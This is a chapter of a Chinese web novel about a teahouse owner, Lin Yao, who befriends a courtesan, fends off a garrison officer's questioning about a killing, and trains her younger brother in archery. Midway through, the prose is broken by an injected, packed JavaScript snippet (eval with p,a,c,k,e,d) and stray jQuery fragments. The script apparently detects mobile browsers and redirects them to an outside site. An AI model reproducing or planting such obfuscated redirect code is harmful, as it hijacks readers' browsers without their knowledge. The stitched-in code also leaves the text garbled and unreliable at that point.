4. 第 4 章

作品:《卖茶的姐姐有支箭

    “林家娘子,可以吗?可以吗?”翠红拽着林尧的手轻晃了好几下。


    林尧被动的点了点头,下一秒,翠红的双手就这么直直地伸了过来,林尧还没来得及后退,她的脸就被人捧住了。


    “真好看,这么厉害的人物居然是个这么好看的小娘子。若是奴家那相公还在,奴家定要像你一样,就是可惜了他轮不到奴家杀。之前你杀了人的消息传到院里,奴家就想来看看这么厉害的女子是个怎样的人了。但最近院里有些事,奴的这些姐妹们都出不来,这才拖到了今日,这不,一解封,奴家就立刻赶过来了。奴家喜欢你,看你这模样应该比奴家小吧,你若不嫌弃,奴家可以直接叫你林家妹妹吗?”


    因为吃惊,林尧的睫毛都跟着颤了颤,她细细地打量着眼前这双捧着她脸的手,瓷白如玉,圆润干净。


    之前周周送茶却次次被退回,她还以为这翠红应是个冷傲艳漠的性子,谁知,她竟是这么的一个,一个,率性爽朗的性子。


    嗯,开始有点喜欢她了。


    林尧的双手伸出,轻柔的反握住了翠红的手,直视着那双噙满期待的眼神,手带着手,弯眉浅笑,随即重重的点了一下头,回了一句“好!”。


    “太好啦。奴家之后日日都要来讨杯茶喝,你可不能嫌奴家烦啊。”


    林尧与翠红相视一眼,“噗”的一下笑作了一团。


    “林家妹妹,你楼下这话本子讲得是真好呀。奴家喜欢,奴家跟你说,你可以再请一个戏班子,再让他们这样演……”


    身后的林嗔,膛目结舌的看着这一切,手指点了点林尧,又点了点翠红,满眼的疑惑与不解。


    你们确定不是今天认识的吗?女孩子的友谊都是来得这么快的吗?搞不明白,真搞不明白。


    啧,这便宜姐姐,对我都没有这样过。


    他双手抱胸冷着脸站在那看着这笑得无比欢的两个女人,看着看着,不自觉地唇角也微微翘起了弧度。


    “林家娘子是哪一位?可在?”


    楼下门口,一批佩了剑,身着铁甲,脚下套靴的人分列两侧气势汹汹地闯了进来,站定,便再未言语,静候着这茶楼的主人。


    铁甲?军中的人?与那晚死的人有关?


    林尧眉头一拧,与身后的林嗔相视一眼,白了他一下,便站起了身。


    对面的翠红在见到楼下那群人时,便行至了林尧的身旁。此刻她见到林尧要下楼,匆忙的拉了一下她的衣角,小声地说道,“妹妹,这是驻地的守备军,这段时间我们骆驼院就是被他们封锁了,他们似乎在找什么东西,与那……”


    翠红犹豫了一下,咬了咬牙,深吸一口气继续道,“与那铁矿有关,你要小心。”


    铁矿?


    林尧点了点头以示知晓了,还轻轻地拍了拍她的手以作安抚。


    随后,衣袍一撩,撑着栏杆一跃,便自二楼跳到了一楼。


    林嗔紧随其后。


    “好飒呀!”楼下有那花痴的夫人小姐们小声地感慨道。


    “呦,我这茶楼今日可是蓬荜生辉啊。各位爷,可是要讨杯茶喝?”林尧高声询问道。


    那先头发话之人见林尧终于出来了,三两步便出了列,一脸正色的停至了林尧正前方大约一寸距离的位置。


    这位军爷肌肤明秀、姿容如玉,倒是个好模样。


    就是这气质看着不太像从武行军的,倒像一文弱书生。


    林尧饶有兴趣地在心里点评了一句。


    那为首之人冲着林尧抱拳,说了一句:“娘子好身手。”


    随后,突然小跑着凑了上来,正要附上林尧的耳朵,被林嗔一挡,连忙后退几步自我嘀咕了一句:“对哦,男女授受不亲,在下怎么就给忘了?该死。”


    他扯了扯嘴角,正了正神色,盯着林尧的脸,极小声的问了一句:“林家娘子,可否找一安静的地方讨一杯茶喝?”说完,还眼神一凛地扫了一眼茶楼的其他人。


    林尧唇角轻扯,腹徘了一句:一进来搞这么大阵仗,现在又怕别人听见了?这黄关镇的人,都是这么怪的吗?


    林尧笑着摇了摇头。不管了,不管这些人如何奇怪,先应付了再说。


    她侧身让道,露出了身后的楼梯,道了一声,“请,我这二楼雅间自开业以内还未有人踏足,今日倒是有了首批客人,请。”


    那为首之人大步阔首地走了几步,随后似乎又觉得自己先行好像不太得体,当即又退了回来,行至林尧身后,说了声:“请。”


    林尧讪讪一笑,回头与林嗔交代了一句:“备茶,记住,备上好的茶,送至二楼雅间。”


    看到林嗔了然的点点头后,她便与那为首之人并肩上了楼梯。


    小半个时辰后,林尧饮下茶盏中这最后一口茶,实在没忍住的开了口:“不知,我这茶,口感如何?”


    对面这俊秀的军爷从进了这雅间开始就一直坐在那盯着林尧的脸瞧,好像入了定般,林尧的杯中都添了三次茶了,现在半肚子都是水,但这人愣是一句话不说。


    林尧不是那纠结犹疑的性子,陪着这人坐到现在已是忍耐到了极致,恨不得与对面这人直接挑明,然后爱咋咋地,实在不行就打一架,将他扔出去。


    林尧深吸几口气,反复告诉自己,耐心,要有耐心,敌不动我不动,耐住性子!


    而这军爷听到林尧的声音,像是才缓过神来,将手中茶盏里的茶一饮而尽,这才开了口:“好茶,好喝。茶汤清澈,入口甘醇,好茶。”


    林尧轻点头,给他又添了一杯,随后抿唇继续说道:“军爷若喜欢,可常来。不知军爷今日这阵仗至我这茶楼,到底因何事?”


    “在下真的可以常来?”


    那军爷捧着茶,眼都亮了,随后他见林尧一脸严肃的盯着他,这才清了清嗓子,眉头一拧,道出了此次的来意。


    “咳,林娘子不用紧张,在下此次来”那军爷停顿了一瞬,观了一眼林尧的神色,才继续道,“就是想问一下林娘子月前杀的那人可真是你丈夫?他是否真欺侮了你的弟弟?在下这有一块……”


    还未待那军爷问完,林尧的眼珠子转了转,一把拉过了一旁候着的林嗔,让他面对着那军爷,随后将他的衣襟就这么一扯,露出了他肩膀上那刚愈合不久还结着粉痂的伤口。


    林嗔一下慌了神,低头怒瞪了一眼林尧。


    林尧头低下也偷偷的白回了他一眼,一副无所谓的样子耸了耸肩。


    林嗔气急,将衣襟一夺,遮了回去。


    两人的这一幕落在对面那俊秀军爷的眼里便成了弟弟受尽屈辱,小娘子不愿再提,低头啜泣的悲伤模样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448280|154082||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    那俊秀军爷当即就对这事定了性:应是受欺负的小娘子为了保护受伤的幼弟,不得不反抗。好在,这小娘子身手不错,能够在关键时刻反杀,不然不知道还得受多少的欺侮呢!


    他站起身,冲着林尧鞠了一躬,随后行至林嗔面前,拍了拍他的肩膀道。


    “你阿姐为了你付出良多,男子汉,得抗事,将来可得好好对你阿姐。”


    说完,便带着那些兵卒浩浩荡荡的离开了。


    “就这样?这人莫不是脑子有病?”林嗔觉得今天收到的冲击比他前半辈子都多,“是我脑子不正常还是他们脑子不正常?”


    他一脸不可置信地看着林尧,寄希望于她能给出一个满意的答案。


    林尧也有些诧异,不过人走了就是好事。


    她嗤笑一声,学着那位脑子不太正常的军爷,拍了拍林嗔的肩膀,说了声。


    “姐姐为你付出良多啊!你可要记得好好保护姐姐啊!对了,刚刚忘了说,你这身板,”林尧瞄了眼他的胸膛,“属实是弱了点,得多练,明天开始跟我练箭吧。”


    “林尧!”


    整个二楼都响彻着林嗔气急败坏的声音。


    林尧走出雅间时,脸上的笑收都收不住。


    她扶额轻摇了摇头,叹道,这黄关镇真是人才辈出啊。


    不过,林嗔是怎么与那天水门扯上关系的呢?


    林尧想起刚刚那军爷想拿出来,拿了一半就被林尧打断,没来得及拿出来的那个令牌,瞬间收敛了神色。


    那令牌白玉质地,上刻水云纹,俨然就是天水门的掌事令牌。


    难道那日林嗔设计要杀的男子是天水门的掌事?这天水门与那天下第一的钱庄梅花庄可是姻亲。


    江湖皆知,这两个门派孟不离焦,焦不离孟,这天水门就像是梅花庄特意设在江湖中的一个影子。


    我这便宜弟弟要对付的不会是梅花庄吧?


    还有那铁矿,若真是梅花庄,那又怎会与朝廷管辖的铁矿有关?难道?


    但愿是我想错了。


    不管了,我就是一卖茶的,管那么多干什么,好好地卖我的茶,啥也不要管。


    至于那臭小子,是得好好的给他立立规矩了,省得总是招惹些莫名其妙的麻烦回来。


    林尧用力的晃了晃脑袋,将脑海中那恐怖的想法甩掉,重新挂上笑容,没事人般下楼去招待楼下的客人。


    …………………………


    三个月后


    “手腕抬起来一点,胳膊要直,眼睛看着靶子,坚持住啊。”


    林嗔站在烈日下,满头大汗,手臂的酸胀感不停传来,他偷瞟了眼那坐在廊下醉翁椅上,一摇一摇,吃着冰酥酪的便宜姐姐,咬了咬牙。


    这便宜姐姐那日说要教他练箭,就真的开始教他练箭。


    三个月了,每天正午时分让他顶着酷暑在这烈日下搭弓射箭,可她自己却舒服的躺在那喝茶吃点心,还美其名曰,监督。这便宜姐姐真的,很欠揍啊。


    林尧瞧见了林嗔的偷瞟,眼睛一眯,丢了一个果籽过去以示警告,随后舒服的伸了个懒腰,看着那小崽子满身的汗,叹了一句。


    果然还是得让这小崽子忙一点,忙起来就没空给她找麻烦了,真舒服。


    忙点好啊,好!